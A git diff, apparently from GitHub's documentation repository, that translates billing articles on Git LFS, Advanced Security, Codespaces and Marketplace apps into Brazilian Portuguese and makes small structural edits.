-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Versioning large files](/articles/versioning-large-files)"
+- "[Sobre a cobrança do {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)"
+- "[Sobre o uso de armazenamento e largura de banda](/articles/about-storage-and-bandwidth-usage)"
+- "[Exibir o uso do {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)"
+- "[Controlar versões em arquivos grandes](/articles/versioning-large-files)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
index 3cdfaa78d0..684d64ecc7 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your Git Large File Storage usage
-intro: 'You can audit your account''s monthly bandwidth quota and remaining storage for {% data variables.large_files.product_name_short %}.'
+title: Exibir o uso do Git Large File Storage
+intro: 'Você pode auditar a cota de largura de banda mensal da sua conta e o armazenamento restante do {% data variables.large_files.product_name_short %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
   - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account
@@ -15,24 +15,25 @@ topics:
   - LFS
   - Organizations
   - User account
-shortTitle: View Git LFS usage
+shortTitle: Visualizar o uso do LFS do Git
 ---
+
 {% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %}
 
-## Viewing storage and bandwidth usage for a personal account
+## Exibir o uso de armazenamento e largura de banda de uma conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Viewing storage and bandwidth usage for an organization
+## Exibir o uso de armazenamento e largura de banda de uma organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Further reading
+## Leia mais
 
-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)"
+- "[Sobre o uso de armazenamento e largura de banda](/articles/about-storage-and-bandwidth-usage)"
+- "[Atualizar o {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/pt-BR/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
index 6a8a95fbad..0256a36f5d 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
@@ -1,6 +1,6 @@
 ---
-title: About billing for GitHub Advanced Security
-intro: 'If you want to use {% data variables.product.prodname_GH_advanced_security %} features{% ifversion fpt or ghec %} in a private or internal repository{% endif %}, you need a license{% ifversion fpt %} for your enterprise{% endif %}.{% ifversion fpt or ghec %} These features are available free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
+title: Sobre a cobrança para o GitHub Advanced Security
+intro: 'Caso você queira usar as funcionalidades de {% data variables.product.prodname_GH_advanced_security %} recursos{% ifversion fpt or ghec %} em um repositório privado ou interno{% endif %}, você precisará de uma licença{% ifversion fpt %} para sua empresa{% endif %}.{% ifversion fpt or ghec %} Essas funcionalidades estão disponíveis gratuitamente para repositórios públicos em {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
 product: '{% data reusables.gated-features.ghas %}'
 redirect_from:
   - /admin/advanced-security/about-licensing-for-github-advanced-security
@@ -16,22 +16,22 @@ topics:
   - Advanced Security
   - Enterprise
   - Licensing
-shortTitle: Advanced Security billing
+shortTitle: Cobrança da segurança avançada
 ---
 
-## About billing for {% data variables.product.prodname_GH_advanced_security %}
+## Sobre a cobrança do {% data variables.product.prodname_GH_advanced_security %}
 
 {% ifversion fpt %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+Se você quiser usar as funcionalidades do {% data variables.product.prodname_GH_advanced_security %} em qualquer repositório, além de um repositório público em {% data variables.product.prodname_dotcom_the_website %}, você precisará de uma licença de {% data variables.product.prodname_GH_advanced_security %}, disponível com {% data variables.product.prodname_ghe_cloud %} ou {% data variables.product.prodname_ghe_server %}. Para obter mais informações sobre {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
 
 {% elsif ghec %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+Caso você queira usar as funcionalidades do {% data variables.product.prodname_GH_advanced_security %} em qualquer repositório, além de um repositório público em {% data variables.product.prodname_dotcom_the_website %}, você precisará de uma licença do {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações sobre {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
 
 {% elsif ghes %}
 
-You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+Você pode disponibilizar funcionalidades adicionais para segurança de código, comprando e fazendo o upload de uma licença para {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações sobre {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
 
 {% endif %}
 
@@ -41,9 +41,9 @@ You can make extra features for code security available to users by buying and u
 
 {% endif %}
 
-To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}.
+Para discutir licenciamento de {% data variables.product.prodname_GH_advanced_security %} para a sua empresa, entre em contato com {% data variables.contact.contact_enterprise_sales %}.
 
-## About committer numbers for {% data variables.product.prodname_GH_advanced_security %}
+## Sobre os números do committer para {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.about-committer-numbers-ghec-ghes %}
 
@@ -53,32 +53,110 @@ To discuss licensing {% data variables.product.prodname_GH_advanced_security %}
 
 {% endif %}
 
-You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+É possível aplicar políticas que permitam ou não o uso de {% data variables.product.prodname_advanced_security %} por parte de organizações pertencentes à conta corporativa. Para obter mais informações, consulte "[Aplicando políticas para {% data variables.product.prodname_advanced_security %} na suaempresa]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}{% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+Para obter mais informações sobre a visualização do uso da licença, consulte "[Visualizar o seu uso de {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)".
 
 {% endif %}
 
-## Understanding active committer usage
+## Entendendo uso do committer ativo
 
-The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count.
+A linha do tempo a seguir demonstra como a contagem ativa do committer para {% data variables.product.prodname_GH_advanced_security %} pode mudar ao longo do tempo em uma empresa. Por cada mês, você encontrará eventos, juntocom a contagem do autor resultante.
 
-| Date | Events during the month | Total committers | 
-| :- | :- | -: | 
-| <nobr>April 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | 
-| <nobr>May 1</nobr> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** |
-| <nobr>August 1</nobr> | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | <sub>_50 - 1_</sub></br>**49** | 
-| <nobr>August 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | <sub>_49 + 10_</sub><br/>**59** | 
-| <nobr>August 16</nobr> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | <sub>_49 - 29_</sub><br/>**20** |
+<table spaces-before="0">
+  <tr>
+    <th align="left">
+      Data
+    </th>
+    
+    <th align="left">
+      Eventos durante o mês
+    </th>
+    
+    <th align="right">
+      Total de committers
+    </th>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>Abril de 15</nobr>
+    </td>
+    
+    <td align="left">
+      Um membro da sua empresa habilita {% data variables.product.prodname_GH_advanced_security %} para o repositório <strong x-id="1">X</strong>. O repositório <strong x-id="1">X</strong> tem 50 committers nos últimos 90 dias.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>1 de maio</nobr>
+    </td>
+    
+    <td align="left">
+      Desenvolvedor <strong x-id="1">A</strong> deixa a equipe que trabalha no repositório <strong x-id="1">X</strong>. As contribuições do desenvolvedor <strong x-id="1">A</strong> continuam sendo contabilizadas por 90 dias.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong> | <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>1 de agosto</nobr>
+    </td>
+    
+    <td align="left">
+      As contribuições do desenvolvedor <strong x-id="1">A</strong> não contam mais para as licenças necessárias, porque 90 dias se passaram.
+    </td>
+    
+    <td align="right">
+      <sub>_50 - 1_</sub></br><strong x-id="1">49</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>Agosto de 15</nobr>
+    </td>
+    
+    <td align="left">
+      Um membro da sua empresa habilita {% data variables.product.prodname_GH_advanced_security %} para um segundo repositório, o repositório <strong x-id="1">Y</strong>. Nos últimos 90 dias, um total de 20 desenvolvedores contribuíram para esse repositório. Dos 20 desenvolvedores, 10 também trabalharam recentemente no repositório <strong x-id="1">X</strong> e não requerem licenças adicionais.
+    </td>
+    
+    <td align="right">
+      <sub>_49 + 10_</sub><br/><strong x-id="1">59</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>Agosto de 16</nobr>
+    </td>
+    
+    <td align="left">
+      Um membro da sua empresa desabilita {% data variables.product.prodname_GH_advanced_security %} para o repositório <strong x-id="1">X</strong>. Dos 49 desenvolvedores que estavam trabalhando no repositório <strong x-id="1">X</strong>, 10 também trabalham no repositório <strong x-id="1">Y</strong>, que tem um total de 20 desenvolvedores contribuindo nos últimos 90 dias.
+    </td>
+    
+    <td align="right">
+      <sub>_49 - 29_</sub><br/><strong x-id="1">20</strong>
+    </td>
+  </tr>
+</table>
 
 {% note %}
 
-**Note:** A user will be flagged as active when their commits are pushed to any branch of a repository, even if the commits were authored more than 90 days ago.
+**Observação:** Um usuário será sinalizado como ativo quando seus commits forem levados a qualquer branch de um repositório, mesmo que os compromissos tenham sido criados há mais de 90 dias.
 
 {% endnote %}
 
-## Getting the most out of {% data variables.product.prodname_GH_advanced_security %}
+## Aproveitando o máximo de {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.getting-the-most-from-your-license %}
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
index 0a6fe31de9..8ddc8557a8 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
@@ -48,6 +48,12 @@ Para obter informações sobre como gerenciar e alterar o limite de gastos da su
 
 {% data reusables.codespaces.exporting-changes %}
 
+## Limitando a escolha dos tipos de máquina
+
+O tipo de máquina que um usuário escolhe ao criar um codespace afeta a carga por minuto desse codespace, conforme mostrado acima.
+
+Os proprietários da organização podem criar uma política para restringir os tipos de máquina disponíveis para os usuários. Para obter mais informações, consulte "[Restringindo o acesso aos tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## Como a cobrança é administrada para repositórios bifurcados
 
 {% data variables.product.prodname_codespaces %} só pode ser usado em organizações em que um proprietário cobrável tenha sido definido. Para incorrer em encargos com a organização, o usuário deve ser integrante ou colaborador. Caso contrário, não poderá criar um codespace.
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
index 6b41645dcf..351e6baf57 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
@@ -57,3 +57,8 @@ Proprietários de organizações e gestores de faturamento podem gerenciar o lim
 As notificações de e-mail são enviadas para os proprietários de contas e gerentes de cobrança quando os gastos chegam a 50%, 75% e 90% do limite de gastos da sua conta.
 
 Você pode desabilitar essas notificações a qualquer momento, acessando a parte inferior da página **limite de gastos**.
+
+## Leia mais
+
+- "[Restringindo o acesso aos tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+- "[Gerenciando a cobrança para codespaces na sua organização](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
index 9b61ec8450..d71f88b6a6 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
@@ -19,6 +19,7 @@ Os proprietários da organização e gerentes de faturamento podem ver o uso do
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.codespaces-minutes %}
+{% data reusables.dotcom_billing.codespaces-report-download %}
 
 ## Visualizando o uso de {% data variables.product.prodname_codespaces %} para sua conta corporativa
 
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
index 6d6d6bba9d..57ddfaea67 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a GitHub Marketplace app
-intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
+title: Cancelar um app do GitHub Marketplace
+intro: 'Você pode cancelar e remover um app do {% data variables.product.prodname_marketplace %} da sua conta a qualquer momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
   - /articles/canceling-an-app-for-your-personal-account
@@ -17,29 +17,30 @@ topics:
   - Organizations
   - Trials
   - User account
-shortTitle: Cancel a Marketplace app
+shortTitle: Cancelar um aplicativo do Marketplace
 ---
-When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+Quando você cancela um app, sua assinatura permanece ativa até o fim do ciclo de cobrança atual. O cancelamento entra em vigor na próxima data de cobrança. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)".
+
+Quando você cancela uma versão de avaliação gratuita em um plano pago, a assinatura é imediatamente cancelada e você perde acesso ao app. Se você não cancelar a versão de avaliação gratuita dentro do período de avaliação, o método de pagamento registrado para a conta será aplicado para o plano escolhido no fim do período de avaliação. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)".
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Canceling an app for your personal account
+## Cancelar um app da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your personal account
+## Cancelar a versão de avaliação gratuita de um app da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-free-trial-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling an app for your organization
+## Cancelar um app da organização
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -50,7 +51,7 @@ When you cancel a free trial on a paid plan, your subscription is immediately ca
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your organization
+## Cancelar a versão de avaliação gratuita de um app da organização
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
index 8a8f94379f..4a3aa09db1 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading the billing plan for a GitHub Marketplace app
-intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
+title: Fazer downgrade do plano de cobrança de um app do GitHub Marketplace
+intro: 'Se você quiser usar um plano de cobrança diferente, faça downgrade do seu app do {% data variables.product.prodname_marketplace %} a qualquer momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/downgrading-an-app-for-your-personal-account
@@ -16,13 +16,14 @@ topics:
   - Marketplace
   - Organizations
   - User account
-shortTitle: Downgrade billing plan
+shortTitle: Downgrade de plano de cobrança
 ---
-When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+Quando você faz downgrade de um app, sua assinatura permanece ativa até o final do ciclo de cobrança atual. O downgrade entra em vigor na próxima data de cobrança. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)".
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Downgrading an app for your personal account
+## Fazer downgrade de um app da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -31,7 +32,7 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Downgrading an app for your organization
+## Fazer downgrade de um app da sua organização
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -43,6 +44,6 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Further reading
+## Leia mais
 
-- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)"
+- "[Cancelar um app do {% data variables.product.prodname_marketplace %}](/articles/canceling-a-github-marketplace-app/)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/index.md
index 3b0caf19f6..5b91f1d388 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/index.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for GitHub Marketplace apps
-shortTitle: GitHub Marketplace apps
-intro: 'You can upgrade, downgrade, or cancel {% data variables.product.prodname_marketplace %} apps at any time.'
+title: Gerenciar a cobrança dos apps do GitHub Marketplace
+shortTitle: Aplicativos do GitHub Marketplace
+intro: 'Você pode atualizar, fazer downgrade ou cancelar apps do {% data variables.product.prodname_marketplace %} a qualquer momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
   - /articles/managing-your-personal-account-s-apps
diff --git a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
index d381202232..3e29a5a094 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading the billing plan for a GitHub Marketplace app
-intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
+title: Atualizar o plano de cobrança de um app do GitHub Marketplace
+intro: 'É possível atualizar o app do {% data variables.product.prodname_marketplace %} para um plano diferente a qualquer momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/upgrading-an-app-for-your-personal-account
@@ -16,11 +16,12 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade billing plan
+shortTitle: Atualizar plano de cobrança
 ---
-When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-## Upgrading an app for your personal account
+Quando você atualiza um app, é cobrado na forma de pagamento um valor proporcional com base no tempo restante até a data da próxima cobrança. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)".
+
+## Atualizar um app da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,7 +30,7 @@ When you upgrade an app, your payment method is charged a prorated amount based
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Upgrading an app for your organization
+## Atualizar um app da organização
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
index 30be96c9c4..d14da40c02 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: About billing for GitHub accounts
-intro: '{% data variables.product.company_short %} offers free and paid products for every developer or team.'
+title: Sobre a cobrança de contas do GitHub
+intro: 'O {% data variables.product.company_short %} oferece produtos gratuitos e pagos para cada desenvolvedor ou equipe.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
   - /articles/what-is-the-total-cost-of-using-an-organization-account
@@ -21,14 +21,14 @@ topics:
   - Discounts
   - Fundamentals
   - Upgrades
-shortTitle: About billing
+shortTitle: Sobre a cobrança
 ---
 
-For more information about the products available for your account, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} does not offer custom products or subscriptions.  
+Para obter mais informações sobre os produtos disponíveis para sua conta, consulte "[Produtos do {% data variables.product.prodname_dotcom %}](/articles/github-s-products)". Você pode ver o preço e uma lista completa dos recursos de cada produto em <{% data variables.product.pricing_url %}>. O {% data variables.product.product_name %} não oferece assinaturas nem produtos personalizados.
 
-You can choose monthly or yearly billing, and you can upgrade or downgrade your subscription at any time. For more information, see "[Managing billing for your {% data variables.product.prodname_dotcom %} account](/articles/managing-billing-for-your-github-account)."
+Você pode optar pela cobrança mensal ou anual, além de poder atualizar ou fazer downgrade da assinatura a qualquer momento. Para obter mais informações, consulte "[Gerenciar cobrança para sua conta do {% data variables.product.prodname_dotcom %}](/articles/managing-billing-for-your-github-account)."
 
-You can purchase other features and products with your existing {% data variables.product.product_name %} payment information. For more information, see "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+É possível comprar outros recursos e produtos com suas informações de pagamento existentes do {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre a cobrança no {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
 
 {% data reusables.accounts.accounts-billed-separately %}
 
@@ -36,7 +36,7 @@ You can purchase other features and products with your existing {% data variable
 
 {% tip %}
 
-**Tip:** {% data variables.product.prodname_dotcom %} has programs for verified students and academic faculty, which include academic discounts. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/).
+**Dica:** o {% data variables.product.prodname_dotcom %} tem programas para estudantes e docentes acadêmicos, que incluem descontos acadêmicos. Para obter mais informações, visite [{% data variables.product.prodname_education %}](https://education.github.com/).
 
 {% endtip %}
 
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
index c11d7230db..d372485a15 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Sobre a cobrança para a sua empresa
 intro: Você pode visualizar as informações de cobrança para a sua empresa.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /admin/overview/managing-billing-for-your-enterprise
   - /enterprise/admin/installation/managing-billing-for-github-enterprise
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
index b17dc709ba..908275434f 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Conectar uma assinatura do Azure à sua empresa
 intro: 'Você pode usar o Contrato da Microsoft Enterprise para habilitar e pagar por {% data variables.product.prodname_actions %} e pelo uso de {% data variables.product.prodname_registry %}, além dos valores incluídos para a sua empresa.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
   - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
